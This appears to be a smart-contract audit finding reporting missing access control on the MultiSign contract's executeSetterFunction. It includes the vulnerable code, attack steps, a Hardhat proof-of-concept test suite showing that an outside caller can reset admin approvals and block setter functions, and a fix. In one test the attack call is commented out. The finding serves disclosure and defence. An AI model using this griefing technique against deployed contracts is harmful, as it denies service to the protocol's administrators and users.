Best Ceramic Yak
High
The missing access control check in the executeSetterFunction
method of the MultiSign
contract allows any external actor to reset all approvals for a specific function, disrupting the execution of dependent functionality. This causes a Denial of Service (DoS) for legitimate admins attempting to execute approved functions in dependent contracts (Borrowing
and CDS
).
In multiSign.sol:304
, the executeSetterFunction
method is missing an access control modifier to restrict its invocation to only authorized contracts.
/**
* @dev Set the function, If reqired approvals from the owners met
* @param _function Fucntion to execute setter
*/
function executeSetterFunction(
SetterFunctions _function
) external returns (bool) {
// Get the number of approvals
require(getSetterFunctionApproval(_function) >= requiredApprovals,"Required approvals not met");
// Loop through the approved functions with owners mapping and change to false
for (uint64 i; i < noOfOwners; i++) {
approvedToUpdate[_function][owners[i]] = false;
}
return true;
}
- Admins must approve a specific function by calling
approveSetterFunction
. - The required number of approvals (
requiredApprovals
) must be met for the function in question.
- A malicious actor must invoke the
executeSetterFunction
method on theMultiSign
contract with a target function that has already been approved by the required number of admins.
- Multiple admins call the
approveSetterFunction
method to approve a specific function. - Once the required number of approvals is met, a malicious actor invokes the
executeSetterFunction
method for the same function. - This invocation resets all approvals for the function by setting their values to
false
in theapprovedToUpdate
mapping. - When a legitimate admin attempts to execute the function in a dependent contract (e.g.,
Borrowing
orCDS
), the call reverts due to the lack of approvals.
The protocol's admins cannot execute setter functions required for critical operations, leading to a Denial of Service (DoS). This disrupts the functionality of the Borrowing
and CDS
contracts. The attacker does not gain funds but can repeatedly block essential operations (griefing).
Add the following test to Blockchian\test\BorrowingTest.ts
file.
describe("DOS(denial of service) on all executeSetterFunction used", function () {
// -- BorrowingContract ---
it("DOS(denial of service) revert setLTV BorrowingContract", async function () {
const { BorrowingContractA, multiSignA } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([0]);
await multiSignA.connect(owner1).approveSetterFunction([0]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(0);
const tx = BorrowingContractA.connect(owner).setLTV(80);
await expect(tx).to.be.reverted;
})
it("DOS(denial of service) revert setAPR BorrowingContract", async function () {
const { BorrowingContractA, multiSignA } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([1]);
await multiSignA.connect(owner1).approveSetterFunction([1]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(1);
const tx = BorrowingContractA.connect(owner).setAPR(50, BigInt("1000000001547125957863212448"));
await expect(tx).to.be.reverted;
})
it("DOS(denial of service) revert setAdmin BorrowingContract", async function () {
const { BorrowingContractA, multiSignA } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([3]);
await multiSignA.connect(owner1).approveSetterFunction([3]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
// await multiSignA.connect(user1).executeSetterFunction(3);
const tx = BorrowingContractA.connect(owner).setAdmin(owner1.getAddress());
// await expect(tx).to.be.reverted;
})
it("DOS(denial of service) revert setTreasury BorrowingContract", async function () {
const { BorrowingContractA, multiSignA, treasuryA, treasuryB } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([5]);
await multiSignA.connect(owner1).approveSetterFunction([5]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(5);
const tx = BorrowingContractA.connect(owner).setTreasury(await treasuryB.getAddress());
await expect(tx).to.be.reverted;
})
it("DOS(denial of service) revert setBondRatio BorrowingContract", async function () {
const { BorrowingContractA, multiSignA } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([5]);
await multiSignA.connect(owner1).approveSetterFunction([5]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(5);
const tx = BorrowingContractA.connect(owner).setBondRatio(4);
await expect(tx).to.be.reverted;
})
// -- CDSContract ---
it("DOS(denial of service) revert setAdmin CDSContract", async function () {
const { CDSContractA, multiSignA } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([4]);
await multiSignA.connect(owner1).approveSetterFunction([4]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(4);
const tx = CDSContractA.connect(owner).setAdmin(owner1.getAddress());
await expect(tx).to.be.reverted;
})
it("DOS(denial of service) revert setWithdrawTimeLimit CDSContract", async function () {
const { CDSContractA, multiSignA } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([2]);
await multiSignA.connect(owner1).approveSetterFunction([2]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(2);
const tx = CDSContractA.connect(owner).setWithdrawTimeLimit(1000);
await expect(tx).to.be.reverted;
})
it("DOS(denial of service) revert setTreasury CDSContract", async function () {
const { CDSContractA, multiSignA, treasuryA, treasuryB } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([6]);
await multiSignA.connect(owner1).approveSetterFunction([6]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(6);
const tx = CDSContractA.connect(owner).setTreasury(await treasuryB.getAddress());
await expect(tx).to.be.reverted;
})
it("DOS(denial of service) revert setUSDaLimit CDSContract", async function () {
const { CDSContractA, multiSignA } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([8]);
await multiSignA.connect(owner1).approveSetterFunction([8]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(8);
const tx = CDSContractA.connect(owner).setUSDaLimit(10);
await expect(tx).to.be.reverted;
})
it("DOS(denial of service) revert setUsdtLimit CDSContract", async function () {
const { CDSContractA, multiSignA } = await loadFixture(deployer);
await multiSignA.connect(owner).approveSetterFunction([9]);
await multiSignA.connect(owner1).approveSetterFunction([9]);
// A malicious user called before admin
// in `executeSetterFunction` function set false all approved admins
await multiSignA.connect(user1).executeSetterFunction(9);
const tx = CDSContractA.connect(owner).setUsdtLimit(1000);
await expect(tx).to.be.reverted;
})
})
run test with this command: npx hardhat test --grep "^DOS\(denial of service\) revert"
the test result:
✔ DOS(denial of service) revert setLTV BorrowingContract (55059ms)
✔ DOS(denial of service) revert setAPR BorrowingContract (103ms)
✔ DOS(denial of service) revert setAdmin BorrowingContract
✔ DOS(denial of service) revert setTreasury BorrowingContract (148ms)
✔ DOS(denial of service) revert setBondRatio BorrowingContract (60ms)
✔ DOS(denial of service) revert setAdmin CDSContract (59ms)
✔ DOS(denial of service) revert setWithdrawTimeLimit CDSContract (769ms)
✔ DOS(denial of service) revert setTreasury CDSContract (69ms)
✔ DOS(denial of service) revert setUSDaLimit CDSContract (59ms)
✔ DOS(denial of service) revert setUsdtLimit CDSContract (85ms)
10 passing (57s)
Add an access control modifier (onlyCoreContracts
) to the executeSetterFunction
method to restrict its execution to the addresses of authorized core contracts (Borrowing
and CDS
):
modifier onlyCoreContracts() {
require(
msg.sender == cdsContract || msg.sender == borrowingContract,
"This function can only be called by core contracts"
);
_;
}
function executeSetterFunction(
SetterFunctions _function
) external onlyCoreContracts returns (bool) {
require(
getSetterFunctionApproval(_function) >= requiredApprovals,
"Required approvals not met"
);
for (uint64 i; i < noOfOwners; i++) {
approvedToUpdate[_function][owners[i]] = false;
}
return true;
}
Ensure the addresses of the CDS
and Borrowing
contracts are initialized in the initialize
function of the MultiSign
contract.